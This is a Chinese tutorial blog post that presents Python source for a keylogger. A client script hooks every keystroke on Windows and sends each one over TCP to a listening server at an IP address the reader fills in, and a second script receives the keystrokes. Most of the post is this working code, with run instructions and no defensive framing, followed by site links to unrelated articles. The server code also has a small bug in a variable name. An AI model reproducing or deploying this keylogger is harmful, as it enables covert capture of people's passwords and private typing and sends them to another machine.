python实现监听键盘


Posted in Python onApril 26, 2021

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python批量修改文件后缀的方法
Jan 26 Python
python进阶教程之词典、字典、dict
Aug 29 Python
浅谈用VSCode写python的正确姿势
Dec 16 Python
Python处理CSV与List的转换方法
Apr 19 Python
Python使用LDAP做用户认证的方法
Jun 20 Python
Python读取xlsx文件的实现方法
Jul 04 Python
Python3标准库glob文件名模式匹配的问题
Mar 13 Python
使用keras时input_shape的维度表示问题说明
Jun 29 Python
Python web框架(django,flask)实现mysql数据库读写分离的示例
Nov 18 Python
有趣的二维码:使用MyQR和qrcode来制作二维码
May 10 Python
Python深度学习之实现卷积神经网络
Jun 05 Python
Python进行区间取值案例讲解
Aug 02 Python
python如何做代码性能分析
Apr 26 #Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 #Python
python如何进行基准测试
Apr 26 #Python
python实现简单的名片管理系统
Python实战之实现康威生命游戏
Python 制作自动化翻译工具
教你用Python写一个植物大战僵尸小游戏
You might like
PHP函数in_array()使用详解
2014/08/20 PHP
php学习笔记之面向对象
2014/11/08 PHP
为百度UE编辑器上传图片添加水印功能
2015/04/16 PHP
PHP实现打包zip并下载功能
2018/06/12 PHP
CI框架教程之优化验证码机制详解【验证码辅助函数】
2019/04/16 PHP
javascript基础知识大全 便于大家学习,也便于我自己查看
2012/08/17 Javascript
按下回车键指向下一个位置的一个函数代码
2014/03/10 Javascript
node.js中的fs.utimes方法使用说明
2014/12/15 Javascript
JQuery的ON()方法支持的所有事件罗列
2015/02/28 Javascript
jQuery实现弹出窗口中切换登录与注册表单
2015/06/05 Javascript
jQuery基于ajax实现星星评论代码
2015/08/07 Javascript
JS密码生成与强度检测完整实例(附demo源码下载)
2016/04/06 Javascript
jQuery实现侧浮窗与中浮窗切换效果的方法
2016/09/05 Javascript
jquery网页日历显示控件calendar3.1使用详解
2016/11/24 Javascript
JQuery 动态生成Table表格实例代码
2016/12/02 Javascript
jquery点赞功能实现代码 点个赞吧!
2020/05/29 jQuery
Vue filters过滤器的使用方法
2017/07/14 Javascript
vue中的scope使用详解
2017/10/29 Javascript
判断div滑动到底部的scroll实例代码
2017/11/15 Javascript
使用 Node.js 开发资讯爬虫流程
2018/01/07 Javascript
MVVM框架下实现分页功能示例
2018/06/14 Javascript
JQuery+Bootstrap 自定义全屏Loading插件的示例demo
2019/07/03 jQuery
微信小程序 调用微信授权窗口相关问题解决
2019/07/25 Javascript
ES6 Iterator接口和for...of循环用法分析
2019/07/31 Javascript
如何通过shell脚本自动生成vue文件详解
2019/09/10 Javascript
Python 使用类写装饰器的小技巧
2018/09/30 Python
python 安装移动复制第三方库操作
2020/07/13 Python
Matplotlib 绘制饼图解决文字重叠的方法
2020/07/24 Python
python爬虫beautifulsoup库使用操作教程全解(python爬虫基础入门)
2021/02/19 Python
这段代码难道不该打印出56吗
2013/02/27 面试题
学生个人求职自荐信格式
2013/09/23 职场文书
高中军训感言600字
2014/03/11 职场文书
奠基仪式主持词
2014/03/20 职场文书
大学理论知识学习自我鉴定
2014/04/28 职场文书
2015年暑期社会实践报告
2015/07/13 职场文书
2016党员学习作风建设心得体会
2016/01/21 职场文书